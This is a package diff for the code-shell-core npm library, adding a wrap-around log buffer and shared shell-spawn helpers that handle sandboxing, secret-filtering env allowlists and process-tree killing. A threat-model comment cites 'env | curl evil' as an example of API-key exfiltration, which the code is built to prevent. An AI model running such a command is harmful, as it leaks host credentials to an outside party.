@cjhyy/code-shell-core 0.5.0-rc.2 → 0.6.0-rc.1

package/dist/runtime/ring-file.js

@@ -0,0 +1,174 @@
+/**
+ * RingFile — a bounded, wrap-around output sink for a background shell's
+ * stdout/stderr (design §6 "落盘 8MB 环绕覆盖").
+ *
+ * Semantics: the logical stream is unbounded, but only the **last N bytes**
+ * are retained. When the stream exceeds the cap, the oldest bytes are
+ * dropped (`didWrap()` flips true). A dev server's startup banner is
+ * disposable; the recent tail is what the agent/user wants.
+ *
+ * Implementation: an in-memory tail Buffer is authoritative (so `readAll`
+ * and the manager's offset math never touch disk), mirrored to a file so a
+ * user can `tail`/open it with external tools. The disk mirror is
+ * best-effort — if the path is unwritable the in-memory buffer still works
+ * and the manager degrades to memory-only (design §7).
+ *
+ * The on-disk file holds the same retained tail as memory (rewritten on
+ * wrap, appended otherwise). We accept the cost of an occasional full
+ * rewrite on wrap; for line-oriented dev output at the 8MB cap this is rare
+ * and cheap relative to the process's own work.
+ */
+import { openSync, writeSync, readSync, ftruncateSync, closeSync, fsyncSync, fstatSync, existsSync, } from "node:fs";
+export class RingFile {
+    path;
+    capBytes;
+    buf = Buffer.alloc(0);
+    wrapped = false;
+    fd = null;
+    diskOk = true;
+    readonlyMode = false;
+    /** Total bytes ever written to the logical stream (monotonic, NOT capped).
+     *  The retained window is the last `min(total, cap)` of these. Readers track
+     *  an ABSOLUTE position in this stream so incremental reads survive
+     *  wraparound (a window-relative offset would silently skip new data once
+     *  the window starts sliding). */
+    total = 0;
+    constructor(path, capBytes, 
+    /** Read-only: load the EXISTING file's tail into memory and never truncate
+     *  or write. Used to surface a recovered orphan shell's already-captured
+     *  output (the live process owns the .log in another worker). */
+    readonlyExisting = false) {
+        this.path = path;
+        this.capBytes = capBytes;
+        if (readonlyExisting) {
+            this.readonlyMode = true;
+            this.fd = null;
+            try {
+                if (existsSync(path)) {
+                    // Read only the trailing `capBytes`, not the whole file. A reader
+                    // never keeps more than the cap (see write()), so slurping a
+                    // multi-MB .log just to discard all but the tail blocks the worker's
+                    // event loop on startup for nothing (see memory: main sync-fs freeze).
+                    const rfd = openSync(path, "r");
+                    try {
+                        const size = fstatSync(rfd).size;
+                        const toRead = Math.min(size, capBytes);
+                        const start = size - toRead;
+                        const data = Buffer.alloc(toRead);
+                        if (toRead > 0)
+                            readSync(rfd, data, 0, toRead, start);
+                        this.buf = data;
+                        this.total = size; // logical stream length stays the full file size
+                        this.wrapped = size > capBytes;
+                    }
+                    finally {
+                        closeSync(rfd);
+                    }
+                }
+            }
+            catch {
+                /* best effort — empty buf on read failure */
+            }
+            return;
+        }
+        try {
+            // 'w' — truncate/create. One file per shell, owned by this RingFile.
+            this.fd = openSync(path, "w");
+        }
+        catch {
+            this.diskOk = false;
+            this.fd = null;
+        }
+    }
+    /** True if the disk mirror is usable (false → memory-only degraded mode). */
+    diskAvailable() {
+        return this.diskOk;
+    }
+    write(chunk) {
+        this.total += chunk.length;
+        const combined = this.buf.length
+            ? Buffer.concat([this.buf, chunk])
+            : chunk;
+        if (combined.length <= this.capBytes) {
+            this.buf = combined;
+            this.appendToDisk(chunk);
+            return;
+        }
+        // Over cap: keep only the trailing capBytes.
+        this.wrapped = true;
+        this.buf = combined.subarray(combined.length - this.capBytes);
+        this.rewriteDisk();
+    }
+    /** Whether any bytes have been discarded by wraparound. */
+    didWrap() {
+        return this.wrapped;
+    }
+    /** The retained tail, decoded as UTF-8. */
+    readAll() {
+        return this.buf.toString("utf8");
+    }
+    /** Current retained byte length (for the agent read offset math). */
+    byteLength() {
+        return this.buf.length;
+    }
+    /** Bytes from `offset` (within the retained window) to the end. */
+    sliceFrom(offset) {
+        const start = Math.max(0, Math.min(offset, this.buf.length));
+        return this.buf.subarray(start);
+    }
+    /** Total bytes ever written to the logical stream (monotonic). Readers use
+     *  this as their next cursor after a read. */
+    totalWritten() {
+        return this.total;
+    }
+    /**
+     * Bytes from an ABSOLUTE stream position to the current end. `absOffset` is
+     * a value previously returned by {@link totalWritten}. If it points before
+     * the retained window (the bytes were discarded by wraparound), returns the
+     * whole window. If it's at/after the end, returns empty.
+     */
+    sliceFromAbsolute(absOffset) {
+        const windowStartAbs = this.total - this.buf.length; // abs position of buf[0]
+        const rel = absOffset - windowStartAbs;
+        const start = Math.max(0, Math.min(rel, this.buf.length));
+        return this.buf.subarray(start);
+    }
+    close() {
+        if (this.fd !== null) {
+            try {
+                fsyncSync(this.fd);
+            }
+            catch {
+                /* best-effort */
+            }
+            try {
+                closeSync(this.fd);
+            }
+            catch {
+                /* best-effort */
+            }
+            this.fd = null;
+        }
+    }
+    appendToDisk(chunk) {
+        if (this.fd === null)
+            return;
+        try {
+            writeSync(this.fd, chunk);
+        }
+        catch {
+            this.diskOk = false;
+        }
+    }
+    rewriteDisk() {
+        if (this.fd === null)
+            return;
+        try {
+            ftruncateSync(this.fd, 0);
+            writeSync(this.fd, this.buf, 0, this.buf.length, 0);
+        }
+        catch {
+            this.diskOk = false;
+        }
+    }
+}

package/dist/runtime/safe-spawn.js

@@ -35,6 +35,7 @@
  */
 import { spawn } from "node:child_process";
 import { StringDecoder } from "node:string_decoder";
+import { resolveSpawnTarget, defaultShellBinary, killChildTree } from "./spawn-common.js";
 export const DEFAULT_MAX_OUTPUT_BYTES = 1_000_000;
 export const DEFAULT_IO_DRAIN_GRACE_MS = 100;
 const TIMEOUT_SIGKILL_GRACE_MS = 2000;
@@ -59,20 +60,15 @@ export function safeSpawn(file, args, opts) {
  * abort, timeout, pre-spawn-abort. Used by the Bash tool.
  */
 export function safeSpawnShell(command, opts) {
-    const shell = opts.shell ?? "/bin/bash";
-    let file;
-    let args;
-    let cleanup;
-    if (opts.sandbox) {
-        const wrapped = opts.sandbox.wrap(command, { cwd: opts.cwd, shell });
-        file = wrapped.file;
-        args = wrapped.args;
-        cleanup = wrapped.cleanup;
-    }
-    else {
-        file = shell;
-        args = ["-c", command];
-    }
+    // Don't hardcode a POSIX default here — resolveSpawnTarget →
+    // resolveShellInvocation picks the platform shell (cmd.exe on Windows,
+    // $SHELL/bin/bash on POSIX) when opts.shell is omitted.
+    const shell = opts.shell ?? defaultShellBinary();
+    const { file, args, cleanup } = resolveSpawnTarget(command, {
+        cwd: opts.cwd,
+        shell,
+        sandbox: opts.sandbox,
+    });
     return runLifecycle({ file, args, opts, cleanup });
 }
 function runLifecycle({ file, args, opts, cleanup }) {
@@ -117,31 +113,16 @@ function runLifecycle({ file, args, opts, cleanup }) {
         let aborted = false;
         const timer = setTimeout(() => {
             timedOut = true;
-            try {
-                child.kill("SIGTERM");
-            }
-            catch { /* may already be dead */ }
-            setTimeout(() => {
-                try {
-                    child.kill("SIGKILL");
-                }
-                catch { /* ignore */ }
-            }, TIMEOUT_SIGKILL_GRACE_MS).unref();
+            // win32: taskkill /T reaps the whole tree (a foreground `npm test`
+            // spawns node children that child.kill() alone would orphan). POSIX:
+            // SIGTERM → grace → SIGKILL. See killChildTree.
+            killChildTree(child, TIMEOUT_SIGKILL_GRACE_MS);
         }, opts.timeoutMs);
         let onAbort;
         if (opts.signal) {
             onAbort = () => {
                 aborted = true;
-                try {
-                    child.kill("SIGTERM");
-                }
-                catch { /* may already be dead */ }
-                setTimeout(() => {
-                    try {
-                        child.kill("SIGKILL");
-                    }
-                    catch { /* ignore */ }
-                }, abortGrace).unref();
+                killChildTree(child, abortGrace);
             };
             opts.signal.addEventListener("abort", onAbort, { once: true });
         }

package/dist/runtime/spawn-common.d.ts

@@ -0,0 +1,148 @@
+/**
+ * spawn-common — shared subprocess primitives for foreground (safeSpawnShell)
+ * and background (BackgroundShellManager) shell execution.
+ *
+ * Both paths must agree on three things or their security/behavior drifts:
+ *
+ *   1. How a free-form shell command is turned into an actual (file, args)
+ *      under the active sandbox backend ({@link resolveSpawnTarget}).
+ *   2. Which environment variables are forwarded into a sandboxed shell
+ *      ({@link buildSandboxEnv} + {@link ENV_DENY_REGEX}) — the Bash threat
+ *      model (a tainted model exfiltrating `OPENROUTER_API_KEY` via
+ *      `env | curl evil`).
+ *   3. How a process is terminated — SIGTERM → grace → SIGKILL. The
+ *      background path needs this at *process-group* granularity
+ *      ({@link killProcessGroup}) because `npm run dev` is really
+ *      `sh → npm → node vite` and killing only the outer `sh` leaks the
+ *      vite child that holds the port (design §难点2).
+ *
+ * safeSpawnShell keeps its own single-process kill cascade (it does not
+ * spawn detached, so there's no separate process group to reap); it shares
+ * (1) and (2) here. The background manager uses all three.
+ */
+import type { SandboxBackend } from "../tool-system/sandbox/index.js";
+/**
+ * Env vars that are always safe to forward into a sandboxed shell. Mirrors
+ * the allowlist that previously lived in bash.ts — kept here so foreground
+ * and background shells share one source of truth. The `off` backend keeps
+ * the historical full-passthrough behavior (the user opted out of sandboxing)
+ * and does NOT call this.
+ */
+export declare const ENV_ALLOWLIST: ReadonlySet<string>;
+/**
+ * Names matching these patterns are dropped even if they appear in the
+ * allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
+ * leak just because it starts with `PATH`). Case-insensitive on the full name.
+ */
+export declare const ENV_DENY_REGEX: RegExp;
+/**
+ * Build a hardened env for a sandboxed shell: allowlist ∖ deny-regex.
+ * `source` defaults to `process.env` so callers usually omit it; tests pass
+ * a fixed object.
+ */
+export declare function buildSandboxEnv(source?: NodeJS.ProcessEnv): NodeJS.ProcessEnv;
+/**
+ * Layer a project's `localEnvironment.env` (KEY=VALUE pairs the user
+ * explicitly configured in `.code-shell/settings.json`) on top of a base
+ * shell env.
+ *
+ * Unlike {@link buildSandboxEnv}, project env values are NOT filtered through
+ * the deny regex: the user put them there deliberately (e.g. `DATABASE_URL`,
+ * a project-scoped `API_BASE`), so honoring them is the whole point. The
+ * allowlist/deny machinery exists to stop a tainted model from exfiltrating
+ * the *host's* secrets via `env | curl`; values the user typed into project
+ * settings are a different trust class.
+ *
+ * Returns the base unchanged when `projectEnv` is empty/undefined, so the
+ * caller can pass it through unconditionally with zero behavior change for
+ * projects that don't configure one. `undefined` values in `projectEnv` are
+ * skipped (they'd otherwise stringify to "undefined").
+ */
+export declare function mergeShellEnv(base: NodeJS.ProcessEnv, projectEnv: Record<string, string> | undefined): NodeJS.ProcessEnv;
+export interface SpawnTarget {
+    file: string;
+    args: string[];
+    /** Backend-allocated resource cleanup (e.g. seatbelt temp profile). */
+    cleanup?: () => void;
+}
+/**
+ * Resolve the shell binary + the (file, args) needed to run a free-form
+ * `command` string through it, per platform. Centralizes the POSIX-vs-Windows
+ * shell fork that was previously hardcoded as `/bin/bash` + `["-c", command]`
+ * in five places (bash.ts, safe-spawn.ts, background-shell.ts, worktree.ts):
+ *
+ *   - POSIX: `<explicit ?? $SHELL ?? /bin/bash> -c "<command>"`
+ *   - Windows: `cmd.exe /c "<command>"` (the `-c` flag does not exist on cmd;
+ *     a bare `-c` would be taken as a filename and fail). PowerShell uses
+ *     `-Command`, but cmd.exe is the safe default present on every Windows.
+ *
+ * `$SHELL` is ignored on Windows — it is virtually never set there, and when
+ * it is (e.g. a stray value from a Unix-y env) it points at a POSIX path that
+ * doesn't exist on the host. An explicit `shell` overrides everything (a user
+ * who configured `pwsh`/`bash` knows what they want).
+ */
+export declare function resolveShellInvocation(command: string, shell?: string): {
+    file: string;
+    args: string[];
+};
+/** The platform's default interactive shell binary, for spawning a bare shell
+ *  (no `-c`/`/c` command). Windows → ComSpec/cmd.exe; POSIX → $SHELL/bin/bash. */
+export declare function defaultShellBinary(shell?: string): string;
+/**
+ * Resolve the actual (file, args) for a shell `command` under an optional
+ * sandbox. With a sandbox, the backend decides (e.g. seatbelt →
+ * `sandbox-exec -f profile shell -c command`). Without one, plain
+ * `shell -c command`. This is exactly safeSpawnShell's pre-spawn logic,
+ * lifted so the background path produces an identical target.
+ */
+export declare function resolveSpawnTarget(command: string, opts: {
+    cwd: string;
+    shell: string;
+    sandbox?: SandboxBackend;
+}): SpawnTarget;
+/**
+ * Terminate a single (non-detached) foreground child + its tree.
+ *
+ *  - POSIX: SIGTERM, then SIGKILL after `graceMs` if it ignored the term.
+ *    (The child is the process-group leader of its own subtree only if it was
+ *    spawned with its own group; safe-spawn's foreground children are not, so
+ *    this kills the direct child — matching the historical behavior.)
+ *  - Windows: `child.kill("SIGTERM")` is a no-op and only kills the direct
+ *    child anyway, leaving grandchildren (e.g. `npm test → node`). Use
+ *    `taskkill /T /F` on the pid to reap the whole tree. No graceful phase.
+ *
+ * Best-effort: never throws; a child that already exited is fine.
+ */
+export declare function killChildTree(child: {
+    pid?: number;
+    kill: (sig?: NodeJS.Signals) => boolean;
+}, graceMs: number): void;
+/**
+ * Terminate an entire process group, SIGTERM → grace → SIGKILL.
+ *
+ * Targets the group by negating the leader pid (`process.kill(-pgid, sig)`),
+ * which requires the leader to have been spawned `detached: true` so its pid
+ * is its own pgid. This is the background path's answer to design §难点2:
+ * `npm run dev`'s real tree (`sh → npm → node vite`) all share the group, so
+ * one group-level signal reaps the vite child that actually holds the port.
+ *
+ * Resolves once the group is confirmed gone (or the grace SIGKILL has been
+ * sent). Idempotent: a group that's already dead (ESRCH) resolves immediately
+ * without throwing.
+ *
+ * @param pgid  The process-group id == the detached leader's pid.
+ */
+export declare function killProcessGroup(pgid: number, opts?: {
+    graceMs?: number;
+}): Promise<void>;
+/**
+ * True if any process in the group `pgid` is still alive. Signal 0 performs
+ * existence/permission checks without delivering a signal; ESRCH means the
+ * whole group is gone.
+ *
+ * Windows has no process groups: probe the leader pid directly (positive,
+ * Node supports signal 0 on Windows for an existence check). Children may
+ * outlive the leader, but `taskkill /T` already reaps the tree, so a
+ * leader-alive probe is the right gate for the win32 kill path.
+ */
+export declare function groupAlive(pgid: number): boolean;